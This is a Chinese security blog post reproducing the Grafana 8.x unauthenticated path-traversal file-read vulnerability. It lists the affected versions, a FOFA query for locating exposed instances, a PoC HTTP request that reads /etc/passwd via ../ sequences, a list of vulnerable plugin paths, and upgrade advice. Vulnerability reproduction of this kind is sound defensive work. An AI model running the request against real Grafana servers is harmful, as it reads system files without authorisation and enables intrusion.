Grafana未授权任意文件读取复现

admin 2022年4月10日00:20:51评论752 views字数 2876阅读9分35秒阅读模式

1 漏洞描述

    Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。

Grafana未授权任意文件读取复现

    Grafana 存在未授权任意文件读取漏洞,攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。

    该漏洞源于Grafana在获取公共插件资产的相关函数中对于路径参数的字符清理不当,导致攻击者可以通过将包含特殊目录遍历字符序列(../)的特制HTTP请求发送到受影响的设备来利用此漏洞。成功利用该漏洞的攻击者可以在目标设备上查看文件系统上的的任意文件。


2 漏洞范围
    受影响版本
8.0.0-beta1 ≤ Grafana ≤ 8.3.0(8.0.7、8.1.8、8.2.7更新补丁的不受影响)
    可通过/api/health查看版本是否在影响访问内

Grafana未授权任意文件读取复现

    fofa语法:
app="Grafana"

Grafana未授权任意文件读取复现


3 漏洞复现

    POC如下:

GET /public/plugins/grafana-clock-panel/../../../../../../etc/passwd HTTP/1.1Host: Your Ip:portUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1
    这里使用fofa的靶场进行复现

Grafana未授权任意文件读取复现

    每个 Grafana 实例都预装了 Prometheus 插件或 MySQL 插件等插件,因此每个实例的以下 URL 都容易受到攻击:
<grafana_host_url>/public/plugins/alertlist/<grafana_host_url>/public/plugins/annolist/<grafana_host_url>/public/plugins/barchart/<grafana_host_url>/public/plugins/bargauge/<grafana_host_url>/public/plugins/candlestick/<grafana_host_url>/public/plugins/cloudwatch/<grafana_host_url>/public/plugins/dashlist/<grafana_host_url>/public/plugins/elasticsearch/<grafana_host_url>/public/plugins/gauge/<grafana_host_url>/public/plugins/geomap/<grafana_host_url>/public/plugins/gettingstarted/<grafana_host_url>/public/plugins/grafana-azure-monitor-datasource/<grafana_host_url>/public/plugins/graph/<grafana_host_url>/public/plugins/heatmap/<grafana_host_url>/public/plugins/histogram/<grafana_host_url>/public/plugins/influxdb/<grafana_host_url>/public/plugins/jaeger/<grafana_host_url>/public/plugins/logs/<grafana_host_url>/public/plugins/loki/<grafana_host_url>/public/plugins/mssql/<grafana_host_url>/public/plugins/mysql/<grafana_host_url>/public/plugins/news/<grafana_host_url>/public/plugins/nodeGraph/<grafana_host_url>/public/plugins/opentsdb<grafana_host_url>/public/plugins/piechart/<grafana_host_url>/public/plugins/pluginlist/<grafana_host_url>/public/plugins/postgres/<grafana_host_url>/public/plugins/prometheus/<grafana_host_url>/public/plugins/stackdriver/<grafana_host_url>/public/plugins/stat/<grafana_host_url>/public/plugins/state-timeline/<grafana_host_url>/public/plugins/status-history/<grafana_host_url>/public/plugins/table/<grafana_host_url>/public/plugins/table-old/<grafana_host_url>/public/plugins/tempo/<grafana_host_url>/public/plugins/testdata/<grafana_host_url>/public/plugins/text/<grafana_host_url>/public/plugins/timeseries/<grafana_host_url>/public/plugins/welcome/<grafana_host_url>/public/plugins/zipkin/

4 漏洞修复
    当前官方已发布最新版本,建议受影响的用户及时更新官方的安全补丁或更新升级到最新版本。链接如下:
https://grafana.com/get/?plcmt=top-nav&cta=downloads

5 参考文章
https://mp.weixin.qq.com/s/in9gjUfRR98he51wy5Nc6Ahttps://mp.weixin.qq.com/s/GrrjchY5EzAXKT2C-ih8hwhttps://mp.weixin.qq.com/s/Haf3eN2zW1Io3iEER7TwsQ

原文始发于微信公众号(Reset安全):Grafana未授权任意文件读取复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月10日00:20:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Grafana未授权任意文件读取复现https://cn-sec.com/archives/699046.html

发表评论

匿名网友 填写信息